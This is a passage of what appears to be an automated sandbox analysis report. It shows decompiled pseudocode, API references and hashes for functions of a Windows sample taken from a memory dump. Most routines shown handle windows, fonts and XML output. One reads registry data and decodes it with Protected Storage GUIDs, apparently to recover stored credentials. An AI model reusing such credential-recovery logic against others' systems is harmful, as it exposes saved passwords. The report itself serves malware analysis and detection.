				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E0040658F(_t30);
				}
				return 1;
			}

0x00407d6e
0x00407d71
0x00407d7b
0x00407d82
0x00407d8d
0x00407d9d
0x00407dab
0x00407db3
0x00407db9
0x00407dbf
0x00407dc4
0x00407dc7
0x00407dcc
0x00407dd2

APIs

GetParent.USER32(?), ref: 00407D75
GetWindowRect.USER32 ref: 00407D82
GetClientRect.USER32 ref: 00407D8D
MapWindowPoints.USER32 ref: 00407D9D
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00407DB9

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: 37609a960450173bf69824f7e52b241be5bc0a1fab6fa9040fc85c24cae36fff
Instruction ID: 038819a919944698b8d7aadaf115a7119d50e81e4b6eee93b7f6b8021a4f8f43
Opcode Fuzzy Hash: 37609a960450173bf69824f7e52b241be5bc0a1fab6fa9040fc85c24cae36fff
Instruction Fuzzy Hash: F7015A32801129BBDB11AFA59C49EFFBFBCEF46751F04812AFD05A2140D738A605CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004099DA, Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004099DA(intOrPtr* __ecx, intOrPtr _a4) {
				void _v259;
				char _v260;
				void _v515;
				char _v516;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				char* _t28;

				_t26 = __ecx;
				_v260 = 0;
				memset( &_v259, 0, 0xfe);
				_v516 = 0;
				memset( &_v515, 0, 0xfe);
				E00405F07(_a4, "<?xml version=\"1.0\"  encoding=\"ISO-8859-1\" ?>\r\n");
				_t17 =  *((intOrPtr*)( *_t26 + 0x20))();
				_t28 =  &_v260;
				E0040918B(_t28, _t17);
				sprintf( &_v516, "<%s>\r\n", _t28);
				return E00405F07(_a4,  &_v516);
			}

0x004099f4
0x004099f6
0x004099fd
0x00409a0c
0x00409a13
0x00409a20
0x00409a2c
0x00409a30
0x00409a36
0x00409a4a
0x00409a64

APIs

memset.MSVCRT ref: 004099FD
memset.MSVCRT ref: 00409A13

Part of subcall function 00405F07: strlen.MSVCRT ref: 00405F14
Part of subcall function 00405F07: WriteFile.KERNEL32(00413B1C,00000001,00000000,75144DE0,00000000,?,?,00409460,00000001,00413B1C,75144DE0), ref: 00405F21

Part of subcall function 0040918B: strcpy.MSVCRT(00000000,?,00409874,?,?,?), ref: 00409190
Part of subcall function 0040918B: _strlwr.MSVCRT ref: 004091D3

sprintf.MSVCRT ref: 00409A4A

Strings

<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00409A18
<%s>, xrefs: 00409A44

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$FileWrite_strlwrsprintfstrcpystrlen
String ID: <%s>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3202206310-1998499579
Opcode ID: 8832b5a78768cb6b45b9e86c8935bb2a9e75a3943d9c8cceaada708264de42f7
Instruction ID: e71924cd66665c82b0e0cf5586ba0e292e849e53f6e9b6834f4978a1b65f22f6
Opcode Fuzzy Hash: 8832b5a78768cb6b45b9e86c8935bb2a9e75a3943d9c8cceaada708264de42f7
Instruction Fuzzy Hash: B601A7B2A001296AD720A655DC45FDB7A6C9F54704F0400FAB609F7182D7B8AA94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF8(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t29;
				struct HDWP__* _t30;
				RECT* _t58;
				intOrPtr _t66;

				_push(__ecx);
				_push(__ecx);
				_t66 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0x24) {
						if(_a4 == 0xf) {
							E004016E5(__ecx + 0xc);
						}
					} else {
						_t29 = _a12;
						 *((intOrPtr*)(_t29 + 0x18)) = 0x190;
						 *((intOrPtr*)(_t29 + 0x1c)) = 0xb4;
					}
				} else {
					_t30 = BeginDeferWindowPos(0xb);
					_t58 = _t66 + 0xc;
					_v8 = _t30;
					E00401645(_t58, _t30, 0x3ed, 0, 0, 1);
					E00401645(_t58, _v8, 0x3ee, 0, 0, 1);
					E00401645(_t58, _v8, 0x3f4, 0, 0, 1);
					E00401645(_t58, _v8, 0x3ef, 0, 0, 1);
					E00401645(_t58, _v8, 0x3f0, 1, 0, 0);
					E00401645(_t58, _v8, 0x3f1, 1, 0, 0);
					E00401645(_t58, _v8, 0x3f5, 1, 0, 0);
					E00401645(_t58, _v8, 0x3f2, 1, 0, 0);
					E00401645(_t58, _v8, 0x3f3, 1, 1, 0);
					E00401645(_t58, _v8, 1, 1, 1, 0);
					E00401645(_t58, _v8, 2, 1, 1, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t58 + 0x10), _t58, 1);
					_t66 = _v12;
				}
				return E00401558(_t66, _a4, _a8, _a12);
			}

0x00405cfb
0x00405cfc
0x00405d03
0x00405d05
0x00405d08
0x00405dfd
0x00405e16
0x00405e1b
0x00405e1b
0x00405dff
0x00405dff
0x00405e02
0x00405e09
0x00405e09
0x00405d0e
0x00405d11
0x00405d19
0x00405d27
0x00405d2d
0x00405d3f
0x00405d51
0x00405d63
0x00405d75
0x00405d87
0x00405d99
0x00405dab
0x00405dbd
0x00405dcb
0x00405dda
0x00405de2
0x00405ded
0x00405df3
0x00405df6
0x00405e33

APIs

BeginDeferWindowPos.USER32 ref: 00405D11

Part of subcall function 00401645: GetDlgItem.USER32 ref: 00401655
Part of subcall function 00401645: GetClientRect.USER32 ref: 00401667
Part of subcall function 00401645: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 004016D1

EndDeferWindowPos.USER32(?), ref: 00405DE2
InvalidateRect.USER32(?,?,00000001), ref: 00405DED

Strings

$, xrefs: 00405DF9

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: a57de8c45b3456a0d8c08563bdb03b3f45c34c184d4faa9fce82ec50ca54258b
Instruction ID: 9c87de9d9a27f98487306a7e65f23cb02f8420b0a21639e15617240473fc85a4
Opcode Fuzzy Hash: a57de8c45b3456a0d8c08563bdb03b3f45c34c184d4faa9fce82ec50ca54258b
Instruction Fuzzy Hash: CC314C30641254BBCB216F678C4DD8F7E7DEF86BA8F104479B406752A2D6758E00DAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000(void* __esi, void* __eflags) {
				struct tagLOGFONTA _v64;
				int _t10;
				long _t11;

				E0040619B( &_v64, "MS Sans Serif", 0xa, 1);
				_t10 = CreateFontIndirectA( &_v64);
				 *(__esi + 0x20c) = _t10;
				_t11 = SendDlgItemMessageA( *(__esi + 4), 0x3ec, 0x30, _t10, 0);
				if( *0x418388 != 0) {
					return SendDlgItemMessageA( *(__esi + 4), 0x3ee, 0x30,  *(__esi + 0x20c), 0);
				}
				return _t11;
			}

0x00401013
0x0040101f
0x00401038
0x0040103e
0x00401047
0x00000000
0x0040105b
0x0040105f

APIs

Part of subcall function 0040619B: memset.MSVCRT ref: 004061A5
Part of subcall function 0040619B: strcpy.MSVCRT(?,00000000,?,00000000,0000003C,00000000,?,00406273,Arial,0000000E,00000000), ref: 004061E5

CreateFontIndirectA.GDI32(?), ref: 0040101F
SendDlgItemMessageA.USER32(?,000003EC,00000030,00000000,00000000), ref: 0040103E
SendDlgItemMessageA.USER32(?,000003EE,00000030,?,00000000), ref: 0040105B

Strings

MS Sans Serif, xrefs: 0040100B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ItemMessageSend$CreateFontIndirectmemsetstrcpy
String ID: MS Sans Serif
API String ID: 4251605573-168460110
Opcode ID: 7584cd5e44123684fe29065303b056f6d65f03dbfdfa9ec3df9736e2aa6a92dd
Instruction ID: 87dec32cde48cbcf1a13d2850fc5ac8412a7d38377e852ebd334ba5dd6d4256f
Opcode Fuzzy Hash: 7584cd5e44123684fe29065303b056f6d65f03dbfdfa9ec3df9736e2aa6a92dd
Instruction Fuzzy Hash: 0DF0A771B4030877EB216BA0EC4BF8A7BACAB41F01F148535FA51B51E1D6F5B644CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040F41D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F41D() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x418520 == 0) {
					_t1 = LoadLibraryA("shell32.dll");
					 *0x418520 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathA");
						 *0x41851c = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040f424
0x0040f42b
0x0040f433
0x0040f438
0x0040f440
0x0040f446
0x00000000
0x0040f446
0x0040f438
0x0040f44b

APIs

LoadLibraryA.KERNEL32(shell32.dll,0040BBB8,75144DE0,?,00000000), ref: 0040F42B
GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 0040F440

Strings

SHGetSpecialFolderPathA, xrefs: 0040F43A
shell32.dll, xrefs: 0040F426

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetSpecialFolderPathA$shell32.dll
API String ID: 2574300362-543337301
Opcode ID: ebee045d17af5392e55c599677de8e54218ff7482c30a47864962e580415edd2
Instruction ID: f6b0fe8b92f076911ecc5568a6e4330759afce426f86003319557fe493e3cfe8
Opcode Fuzzy Hash: ebee045d17af5392e55c599677de8e54218ff7482c30a47864962e580415edd2
Instruction Fuzzy Hash: 59D092B0642202ABD7208F21AC097827AAAE798706F01C53AA800E12A4FF7895448A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004104AE, Relevance: 6.3, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004104AE(intOrPtr* __esi, void* __eflags) {
				void* _t27;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t44;

				_t44 = __esi;
				 *__esi = 0x415314;
				_t27 = E00406578(0x46c, __esi);
				_push(0x20);
				L00412090();
				if(_t27 == 0) {
					_t28 = 0;
				} else {
					_t28 = E00406A5B(_t27);
				}
				_push(0x20);
				 *((intOrPtr*)(_t44 + 0x450)) = _t28;
				L00412090();
				if(_t28 == 0) {
					_t29 = 0;
				} else {
					_t29 = E00406A5B(_t28);
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x454)) = _t29;
				L00412090();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x458)) = _t29;
				L00412090();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x45c)) = _t29;
				L00412090();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				 *((intOrPtr*)(_t44 + 0x460)) = _t29;
				 *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x450)) + 0x14)) = 0x2000;
				 *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x454)) + 0x14)) = 0x2000;
				 *((intOrPtr*)(_t44 + 0x3c)) = 1;
				 *((intOrPtr*)(_t44 + 0x40)) = 1;
				 *((intOrPtr*)(_t44 + 0x44)) = 1;
				 *((intOrPtr*)(_t44 + 0x48)) = 1;
				return _t44;
			}

0x004104ae
0x004104b6
0x004104bc
0x004104c1
0x004104c3
0x004104ce
0x004104d7
0x004104d0
0x004104d0
0x004104d0
0x004104d9
0x004104db
0x004104e1
0x004104e9
0x004104f2
0x004104eb
0x004104eb
0x004104eb
0x004104f4
0x004104f6
0x004104fc
0x00410509
0x0041051b
0x0041050b
0x0041050b
0x0041050e
0x00410510
0x00410513
0x00410516
0x00410516
0x0041051d
0x0041051f
0x00410525
0x0041052d
0x0041053f
0x0041052f
0x0041052f
0x00410532
0x00410534
0x00410537
0x0041053a
0x0041053a
0x00410541
0x00410543
0x00410549
0x00410551
0x00410563
0x00410553
0x00410553
0x00410556
0x00410558
0x0041055b
0x0041055e
0x0041055e
0x0041056b
0x00410576
0x0041057f
0x00410586
0x00410589
0x0041058c
0x0041058f
0x00410595

APIs

Part of subcall function 00406578: memset.MSVCRT ref: 00406586

??2@YAPAXI@Z.MSVCRT ref: 004104C3
??2@YAPAXI@Z.MSVCRT ref: 004104E1
??2@YAPAXI@Z.MSVCRT ref: 004104FC
??2@YAPAXI@Z.MSVCRT ref: 00410525
??2@YAPAXI@Z.MSVCRT ref: 00410549

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: 7bad43f24cb77abe56b588b58120f20ee9b42d559bc282368106ea24cb956e28
Instruction ID: e5f264b8724d3d475e9e13978f0762699e8b6218914c988ba7d238899ccfa6da
Opcode Fuzzy Hash: 7bad43f24cb77abe56b588b58120f20ee9b42d559bc282368106ea24cb956e28
Instruction Fuzzy Hash: 2431E8B0A007009FD750DF3A99856A6FBE5EF84305B25886FD25ACB262D7B8D481CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0040242B, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040242B(void* __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				void _v2058;
				char _v2060;
				char _v2069;
				char _v2070;
				char _v2071;
				char _v2072;
				char _v3086;
				signed char _v3090;
				char _v3091;
				char _v3092;
				char* _v3096;
				char _v3100;
				short* _v3104;
				int _v3108;
				char _v3112;
				void* __ebx;
				void* _t49;
				signed int _t61;
				short* _t76;
				void* _t83;
				signed int _t87;
				void* _t90;

				_t83 = __eax;
				_t73 = 0;
				 *_a12 = 0;
				_v3112 = 0x400;
				_t49 = E0040F214(__ecx, _a4, _a8,  &_v3092,  &_v3112);
				_t90 = (_t87 & 0xfffffff8) - 0xc28 + 0x10;
				if(_t49 == 0) {
					_v2069 = 0;
					_v2070 = 0;
					_v2071 = 0;
					_v2072 = 0;
					if(_v3092 != 1) {
						if(_v3092 == 2 &&  *((intOrPtr*)(_t83 + 0xa94)) != 0) {
							_v3100 = _v3112 - 1;
							_v3096 =  &_v3091;
							if(E0040481B(_t83 + 0x890,  &_v3100, 0,  &_v3108) != 0) {
								WideCharToMultiByte(0, 0, _v3104, _v3108, _a12, 0x7f, 0, 0);
								LocalFree(_v3104);
							}
						}
					} else {
						if( *((intOrPtr*)(_t83 + 0x888)) != 0) {
							if(_a16 == 0) {
								E0040EFF9(_a12, _t83 + 0x87c,  &_v3090, 0x7f, 0);
							} else {
								_v2060 = 0;
								memset( &_v2058, 0, 0x800);
								_t90 = _t90 + 0xc;
								_t76 =  &_v2060;
								E0040EFF9(_t76, _t83 + 0x87c,  &_v3091, 0x400, 1);
								WideCharToMultiByte(0, 0, _t76, 0xffffffff, _a12, 0x7f, 0, 0);
							}
							_t73 = 0;
						}
						_t79 = _a12;
						if( *_a12 == _t73 && _v3112 >= 7 && _v3092 == 1 && _v3091 == 1) {
							_t61 = _v3090 & 0x000000ff;
							if(_t61 > 1 && _v3112 >= _t61 + 6) {
								E00401DBC(_t79,  &_v3086, _t61);
							}
						}
					}
				}
				return 0 |  *_a12 != _t73;
			}

0x00402439
0x0040243e
0x00402440
0x0040244f
0x0040245a
0x0040245f
0x00402464
0x0040246f
0x00402476
0x0040247d
0x00402484
0x0040248b
0x0040255d
0x0040256c
0x00402574
0x00402590
0x004025a3
0x004025ad
0x004025ad
0x00402590
0x00402491
0x00402497
0x0040249c
0x00402505
0x0040249e
0x004024ac
0x004024b4
0x004024b9
0x004024cf
0x004024d6
0x004024eb
0x004024eb
0x0040250a
0x0040250a
0x0040250c
0x00402511
0x00402534
0x0040253c
0x0040254e
0x00402553
0x0040253c
0x00402511
0x0040248b
0x004025c2

APIs

Part of subcall function 0040F214: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,0040245F,?), ref: 0040F22A

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000,?,?,00000400,00000001), ref: 004024EB
memset.MSVCRT ref: 004024B4

Part of subcall function 0040EFF9: UuidFromStringA.RPCRT4(220D5CD0-853A-11D0-84BC-00C04FD43F8F,00000001), ref: 0040F016
Part of subcall function 0040EFF9: UuidFromStringA.RPCRT4(417E2D75-84BD-11D0-84BB-00C04FD43F8F,?), ref: 0040F037
Part of subcall function 0040EFF9: memcpy.MSVCRT ref: 0040F075
Part of subcall function 0040EFF9: CoTaskMemFree.OLE32(00000000,00000000), ref: 0040F084

WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000002,?,0000007F,00000000,00000000,00000002,00000000,?), ref: 004025A3
LocalFree.KERNEL32(?), ref: 004025AD

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharFreeFromMultiStringUuidWide$LocalQueryTaskValuememcpymemset
String ID:
API String ID: 3503910906-0
Opcode ID: 311549387020673e673ad7ade458deddd79687b60b573298398fe302b42a0f0d
Instruction ID: cfc3eb1076764f39a441947bf0103a86c194fcc0ae6958193510771120a15821
Opcode Fuzzy Hash: 311549387020673e673ad7ade458deddd79687b60b573298398fe302b42a0f0d
Instruction Fuzzy Hash: 0341A3B1408385BFDB11DE608D44AAB7BDCAB88304F044A7EF588A21C1D679DA44CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B4DE, Relevance: 6.1, APIs: 4, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040B4DE(intOrPtr __ecx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void _v263;
				char _v264;
				void* __edi;
				void* __esi;
				signed int _t42;
				signed int _t45;
				intOrPtr* _t60;
				signed char _t62;
				intOrPtr _t63;
				int _t65;

				_t61 = __ecx;
				_t60 = _a8;
				_t63 = __ecx;
				_v8 = __ecx;
				if( *(_t60 + 4) == 0x103 &&  *((intOrPtr*)(_t60 + 8)) == 0xfffffff4) {
					_t42 = E00408D0D( *((intOrPtr*)(__ecx + 0x370)), _t60);
					 *((intOrPtr*)(_t63 + 0x10c)) = 1;
					 *(_t63 + 0x110) = _t42;
				}
				if(_a4 == 0x101 &&  *((intOrPtr*)(_t60 + 8)) == 0xfffffffe &&  *((intOrPtr*)(_t60 + 0xc)) == 1) {
					_v264 = 0;
					memset( &_v263, 0, 0xff);
					E004019DA(_t61,  &_v264, 0x413438);
					_t42 = E00406552( *((intOrPtr*)(_v8 + 0x108)),  &_v264);
					_t63 = _v8;
				}
				_t65 = 0;
				if( *((intOrPtr*)(_t60 + 8)) == 0xfffffdf8) {
					_t42 = SendMessageA( *(_t63 + 0x118), 0x423, 0, 0);
					if( *_t60 == _t42) {
						_t42 = GetMenuStringA( *(_t63 + 0x11c),  *(_t60 + 4), _t60 + 0x10, 0x4f, 0);
						 *((intOrPtr*)(_t60 + 0x60)) = 0;
					}
				}
				if(_a4 != 0x103) {
					L27:
					return _t42;
				} else {
					_t80 =  *((intOrPtr*)(_t60 + 8)) - 0xfffffffd;
					if( *((intOrPtr*)(_t60 + 8)) == 0xfffffffd) {
						_t42 = E0040AFC4(_t61, _t63, _t63, _t80);
						_t65 = 0;
					}
					if( *((intOrPtr*)(_t60 + 8)) == 0xffffff94) {
						_t42 = E00408C35( *(_t60 + 0x10), _t61,  *((intOrPtr*)(_t63 + 0x370)), _t65);
						_t65 = 0;
					}
					if( *((intOrPtr*)(_t60 + 8)) != 0xffffff9b) {
						goto L27;
					} else {
						if( *((intOrPtr*)( *((intOrPtr*)(_t63 + 0x370)) + 0x1b8)) == _t65) {
							_t62 = 2;
							_t45 =  *(_t60 + 0x14) & _t62;
							__eflags = _t45;
							if(_t45 == 0) {
								L20:
								__eflags = _t45 - _t62;
								if(_t45 == _t62) {
									L23:
									_t42 = 0;
									__eflags = 0;
									L24:
									if(_t42 == _t65) {
										goto L27;
									}
									_t42 = _t63 + 0x25c;
									if( *_t42 != _t65) {
										goto L27;
									}
									 *_t42 = 1;
									return PostMessageA( *(_t63 + 0x108), 0x402, _t65, _t65);
								}
								__eflags =  *(_t60 + 0x18) & _t62;
								if(( *(_t60 + 0x18) & _t62) == 0) {
									goto L23;
								}
								L22:
								_t42 = 1;
								goto L24;
							}
							__eflags =  *(_t60 + 0x18) & _t62;
							if(( *(_t60 + 0x18) & _t62) == 0) {
								goto L22;
							}
							goto L20;
						}
						asm("sbb eax, eax");
						_t42 =  ~( ~(( *(_t60 + 0x18) ^  *(_t60 + 0x14)) & 0x0000f002));
						goto L24;
					}
				}
			}

0x0040b4de
0x0040b4e8
0x0040b4f4
0x0040b4f6
0x0040b4f9
0x0040b509
0x0040b50e
0x0040b518
0x0040b518
0x0040b525
0x0040b541
0x0040b548
0x0040b558
0x0040b569
0x0040b56e
0x0040b571
0x0040b574
0x0040b57d
0x0040b58c
0x0040b594
0x0040b5a6
0x0040b5ac
0x0040b5ac
0x0040b594
0x0040b5b6
0x0040b653
0x0040b653
0x0040b5bc
0x0040b5bc
0x0040b5c0
0x0040b5c4
0x0040b5c9
0x0040b5c9
0x0040b5cf
0x0040b5db
0x0040b5e0
0x0040b5e0
0x0040b5e6
0x00000000
0x0040b5e8
0x0040b5f4
0x0040b60e
0x0040b60f
0x0040b60f
0x0040b611
0x0040b618
0x0040b618
0x0040b61a
0x0040b626
0x0040b626
0x0040b626
0x0040b628
0x0040b62a
0x00000000
0x00000000
0x0040b62c
0x0040b634
0x00000000
0x00000000
0x0040b643
0x00000000
0x0040b649
0x0040b61c
0x0040b61f
0x00000000
0x00000000
0x0040b621
0x0040b623
0x00000000
0x0040b623
0x0040b613
0x0040b616
0x00000000
0x00000000
0x00000000
0x0040b616
0x0040b603
0x0040b605
0x00000000
0x0040b605
0x0040b5e6

APIs

memset.MSVCRT ref: 0040B548
SendMessageA.USER32 ref: 0040B58C
GetMenuStringA.USER32(?,00000103,?,0000004F,00000000), ref: 0040B5A6
PostMessageA.USER32 ref: 0040B649

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message$MenuPostSendStringmemset
String ID:
API String ID: 3798638045-0
Opcode ID: d3a55612aad303442b70cf6981c395df1170026015e9bbabf54ddfea19c8819b
Instruction ID: f81f675eeec9d049c2f837a36ed854dba7505ce636643832e7163bdc5c509590
Opcode Fuzzy Hash: d3a55612aad303442b70cf6981c395df1170026015e9bbabf54ddfea19c8819b
Instruction Fuzzy Hash: F141E130600611EFCB259F24CC85AA6BBA4FF04325F1486B6E958AB2C5C378DD91CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411533, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411533(char* __eax, void* __edi) {
				unsigned int _v5;
				signed int _v6;
				signed int _v7;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t37;
				char* _t56;
				signed char _t57;
				char* _t67;
				void* _t68;
				void* _t69;

				_t68 = __edi;
				_t56 = __eax;
				_t69 = 0;
				_t37 = strlen(__eax) + 0xfffffffd;
				_v16 = _t37;
				if(_t37 < 0) {
					L18:
					 *((char*)(_t69 + _t68)) = 0;
					return _t69;
				}
				_v12 = 0xfffffffe;
				_v12 = _v12 - _t56;
				_t5 = _t56 + 2; // 0x4116ad
				_t67 = _t5;
				while(1) {
					_t6 = _t67 - 2; // 0x75fff88b
					_t39 =  *_t6;
					if( *_t6 != 0x2e) {
						_v6 = E004114FF(_t39);
					} else {
						_v6 = 0x3e;
					}
					_t9 = _t67 - 1; // 0xfc75fff8
					_t41 =  *_t9;
					if( *_t9 != 0x2e) {
						_v5 = E004114FF(_t41);
					} else {
						_v5 = 0x3e;
					}
					_t43 =  *_t67;
					if( *_t67 != 0x2e) {
						_t57 = E004114FF(_t43);
					} else {
						_t57 = 0x3e;
					}
					_t45 =  *((intOrPtr*)(_t67 + 1));
					if( *((intOrPtr*)(_t67 + 1)) != 0x2e) {
						_v7 = E004114FF(_t45);
					} else {
						_v7 = 0x3e;
					}
					 *(_t68 + _t69) = _v5 >> 0x00000004 | _v6 << 0x00000002;
					if( *_t67 == 0x2d) {
						break;
					}
					 *(_t69 + _t68 + 1) = _t57 >> 0x00000002 | _v5 << 0x00000004;
					if( *((char*)(_t67 + 1)) == 0x2d) {
						 *((char*)(_t69 + _t68 + 2)) = 0;
						_t34 = _t69 + 2; // 0x2
						return _t34;
					}
					_t69 = _t69 + 3;
					 *(_t69 + _t68 - 1) = _t57 << 0x00000006 | _v7;
					_t25 = _t69 + 5; // 0x2
					_t67 = _t67 + 4;
					if(_t25 >= 0x3ff || _v12 + _t67 > _v16) {
						goto L18;
					} else {
						continue;
					}
				}
				 *(_t69 + _t68 + 1) = 0;
				_t31 = _t69 + 1; // 0x1
				return _t31;
			}

0x00411533
0x0041153b
0x0041153e
0x00411545
0x00411549
0x0041154c
0x00411604
0x00411604
0x00000000
0x00411608
0x00411552
0x00411559
0x0041155c
0x0041155c
0x0041155f
0x0041155f
0x0041155f
0x00411564
0x00411571
0x00411566
0x00411566
0x00411566
0x00411574
0x00411574
0x00411579
0x00411586
0x0041157b
0x0041157b
0x0041157b
0x00411589
0x0041158d
0x00411598
0x0041158f
0x0041158f
0x0041158f
0x0041159a
0x0041159f
0x004115ac
0x004115a1
0x004115a1
0x004115a1
0x004115bd
0x004115c3
0x00000000
0x00000000
0x004115d2
0x004115da
0x00411618
0x0041161d
0x00000000
0x0041161d
0x004115e2
0x004115e5
0x004115e9
0x004115ec
0x004115f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004115f4
0x0041160e
0x00411613
0x00000000

APIs

strlen.MSVCRT ref: 00411540

Strings

>, xrefs: 00411566
>, xrefs: 004115A1
>, xrefs: 0041157B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strlen
String ID: >$>$>
API String ID: 39653677-3911187716
Opcode ID: 7edb754ddf4429fd3ce2b30709e1edacb08f523e3e7d14c7b467b5b93d7c181c
Instruction ID: 10e230c6dca09e0a93cf8d60ed085072b0d540c64d6ff1ff1f1df815401d523a
Opcode Fuzzy Hash: 7edb754ddf4429fd3ce2b30709e1edacb08f523e3e7d14c7b467b5b93d7c181c
Instruction Fuzzy Hash: 6331E4718492C5AFCB118B6C80417EEFFA24F62304F08869AC2D546353C26DA5CAC39A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B84C, Relevance: 6.1, APIs: 4, Instructions: 64
registryCOMMON

Download Yara Rule

